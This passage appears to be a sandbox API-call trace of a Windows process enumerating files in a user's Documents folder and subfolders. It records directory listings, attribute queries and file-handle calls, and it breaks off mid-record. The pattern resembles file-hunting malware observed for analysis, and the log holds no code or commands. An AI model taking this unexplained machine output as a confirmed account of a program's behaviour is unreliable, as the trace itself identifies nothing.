1 [0090.613] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa71a09d0, ftCreationTime.dwHighDateTime=0x1d5be6a, ftLastAccessTime.dwLowDateTime=0x4b3ade40, ftLastAccessTime.dwHighDateTime=0x1d5b691, ftLastWriteTime.dwLowDateTime=0x4b3ade40, ftLastWriteTime.dwHighDateTime=0x1d5b691, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vpc7s", cAlternateFileName="")) returned 1 [0090.613] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44335560, ftCreationTime.dwHighDateTime=0x1d581bb, ftLastAccessTime.dwLowDateTime=0xdd3c4fd0, ftLastAccessTime.dwHighDateTime=0x1d59ca2, ftLastWriteTime.dwLowDateTime=0xdd3c4fd0, ftLastWriteTime.dwHighDateTime=0x1d59ca2, nFileSizeHigh=0x0, nFileSizeLow=0x7298, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xiEp5GIdD.xlsx", cAlternateFileName="")) returned 1 [0090.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f53b8 [0090.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1988 [0090.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.614] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f98120, ftCreationTime.dwHighDateTime=0x1d570d0, ftLastAccessTime.dwLowDateTime=0x554a1f80, ftLastAccessTime.dwHighDateTime=0x1d56c8c, ftLastWriteTime.dwLowDateTime=0x554a1f80, ftLastWriteTime.dwHighDateTime=0x1d56c8c, nFileSizeHigh=0x0, nFileSizeLow=0xb09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xWBW6h0QZLRc37eC.pptx", cAlternateFileName="")) returned 1 [0090.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f53d8 [0090.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1a10 [0090.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.616] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28224bf0, ftCreationTime.dwHighDateTime=0x1d5930a, ftLastAccessTime.dwLowDateTime=0x52e9a4f0, ftLastAccessTime.dwHighDateTime=0x1d596f7, ftLastWriteTime.dwLowDateTime=0x52e9a4f0, ftLastWriteTime.dwHighDateTime=0x1d596f7, nFileSizeHigh=0x0, nFileSizeLow=0x7d0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_EYlg-pCUgeZR.xlsx", cAlternateFileName="")) returned 1 [0090.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f53f8 [0090.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1a98 [0090.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.618] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28224bf0, ftCreationTime.dwHighDateTime=0x1d5930a, ftLastAccessTime.dwLowDateTime=0x52e9a4f0, ftLastAccessTime.dwHighDateTime=0x1d596f7, ftLastWriteTime.dwLowDateTime=0x52e9a4f0, ftLastWriteTime.dwHighDateTime=0x1d596f7, nFileSizeHigh=0x0, nFileSizeLow=0x7d0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_EYlg-pCUgeZR.xlsx", cAlternateFileName="")) returned 0 [0090.618] GetLastError () returned 0x12 [0090.618] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0090.618] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.618] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f36d890, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f36d890, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.618] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5a01dd0, ftCreationTime.dwHighDateTime=0x1d594f2, ftLastAccessTime.dwLowDateTime=0xadb368f0, ftLastAccessTime.dwHighDateTime=0x1d54b0a, ftLastWriteTime.dwLowDateTime=0xadb368f0, ftLastWriteTime.dwHighDateTime=0x1d54b0a, nFileSizeHigh=0x0, nFileSizeLow=0xd0ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="00jKiQB.xlsx", cAlternateFileName="")) returned 1 [0090.618] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb425b7d0, ftCreationTime.dwHighDateTime=0x1d5832f, ftLastAccessTime.dwLowDateTime=0xfa52d350, ftLastAccessTime.dwHighDateTime=0x1d59dd3, ftLastWriteTime.dwLowDateTime=0xfa52d350, ftLastWriteTime.dwHighDateTime=0x1d59dd3, nFileSizeHigh=0x0, nFileSizeLow=0x1021, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1tOd0CtK3P.pptx", cAlternateFileName="")) returned 1 [0090.618] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbdbf0a0, ftCreationTime.dwHighDateTime=0x1d5a53b, ftLastAccessTime.dwLowDateTime=0xebbea4b0, ftLastAccessTime.dwHighDateTime=0x1d56f0f, ftLastWriteTime.dwLowDateTime=0xebbea4b0, ftLastWriteTime.dwHighDateTime=0x1d56f0f, nFileSizeHigh=0x0, nFileSizeLow=0xb0a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="63-MBy9ssZ.xlsx", cAlternateFileName="")) returned 1 [0090.618] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41ccee0, ftCreationTime.dwHighDateTime=0x1d5b8f1, ftLastAccessTime.dwLowDateTime=0xc36084b0, ftLastAccessTime.dwHighDateTime=0x1d552d2, ftLastWriteTime.dwLowDateTime=0xc36084b0, ftLastWriteTime.dwHighDateTime=0x1d552d2, nFileSizeHigh=0x0, nFileSizeLow=0x12537, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AO6Kxti.pptx", cAlternateFileName="")) returned 1 [0090.618] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.618] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bf85b0, ftCreationTime.dwHighDateTime=0x1d54713, ftLastAccessTime.dwLowDateTime=0xa3a7b710, ftLastAccessTime.dwHighDateTime=0x1d59f08, ftLastWriteTime.dwLowDateTime=0xa3a7b710, ftLastWriteTime.dwHighDateTime=0x1d59f08, nFileSizeHigh=0x0, nFileSizeLow=0x9a9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GxF--cluyJaZxmaHaKzc.pptx", cAlternateFileName="")) returned 1 [0090.619] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd488d130, ftCreationTime.dwHighDateTime=0x1d5b5d7, ftLastAccessTime.dwLowDateTime=0x42f9b130, ftLastAccessTime.dwHighDateTime=0x1d5c3d8, ftLastWriteTime.dwLowDateTime=0x42f9b130, ftLastWriteTime.dwHighDateTime=0x1d5c3d8, nFileSizeHigh=0x0, nFileSizeLow=0x146b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HgFUl9D.doc", cAlternateFileName="")) returned 1 [0090.619] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36c5290, ftCreationTime.dwHighDateTime=0x1d581fa, ftLastAccessTime.dwLowDateTime=0x54a41310, ftLastAccessTime.dwHighDateTime=0x1d5464e, ftLastWriteTime.dwLowDateTime=0x54a41310, ftLastWriteTime.dwHighDateTime=0x1d5464e, nFileSizeHigh=0x0, nFileSizeLow=0x86de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j1VA9i ZWHaH8Mk.docx", cAlternateFileName="")) returned 1 [0090.619] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7846aa0, ftCreationTime.dwHighDateTime=0x1d55308, ftLastAccessTime.dwLowDateTime=0xbb9b98a0, ftLastAccessTime.dwHighDateTime=0x1d5a4da, ftLastWriteTime.dwLowDateTime=0xbb9b98a0, ftLastWriteTime.dwHighDateTime=0x1d5a4da, nFileSizeHigh=0x0, nFileSizeLow=0x10647, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LcnSiIXp8avMJ.docx", cAlternateFileName="")) returned 1 [0090.619] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd17b30, ftCreationTime.dwHighDateTime=0x1d5752c, ftLastAccessTime.dwLowDateTime=0x46016f20, ftLastAccessTime.dwHighDateTime=0x1d5516a, ftLastWriteTime.dwLowDateTime=0x46016f20, ftLastWriteTime.dwHighDateTime=0x1d5516a, nFileSizeHigh=0x0, nFileSizeLow=0x149e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mcmD6ALe-hREj.docx", cAlternateFileName="")) returned 1 [0090.619] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="")) returned 1 [0090.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.619] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0090.619] GetLastError () returned 0x5 [0090.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1ba8 [0090.620] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0090.620] GetLastError () returned 0x5 [0090.621] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0090.621] GetLastError () returned 0x5 [0090.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1ba8) returned 1 [0090.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.621] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="")) returned 1 [0090.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.622] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my pictures"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.622] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0090.622] GetLastError () returned 0x5 [0090.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1ba8 [0090.623] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0090.623] GetLastError () returned 0x5 [0090.623] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0090.623] GetLastError () returned 0x5 [0090.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1ba8) returned 1 [0090.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.624] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="")) returned 1 [0090.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.624] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.625] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0090.625] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.626] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.626] NtClose (Handle=0x16c) returned 0x0 [0090.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1ba8 [0090.627] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0090.627] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.627] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5418 [0090.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1cb8 [0090.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.629] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="")) returned 1 [0090.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5438 [0090.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1d40 [0090.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.631] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0090.631] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0090.631] GetLastError () returned 0x12 [0090.631] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0090.631] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.631] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.631] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, 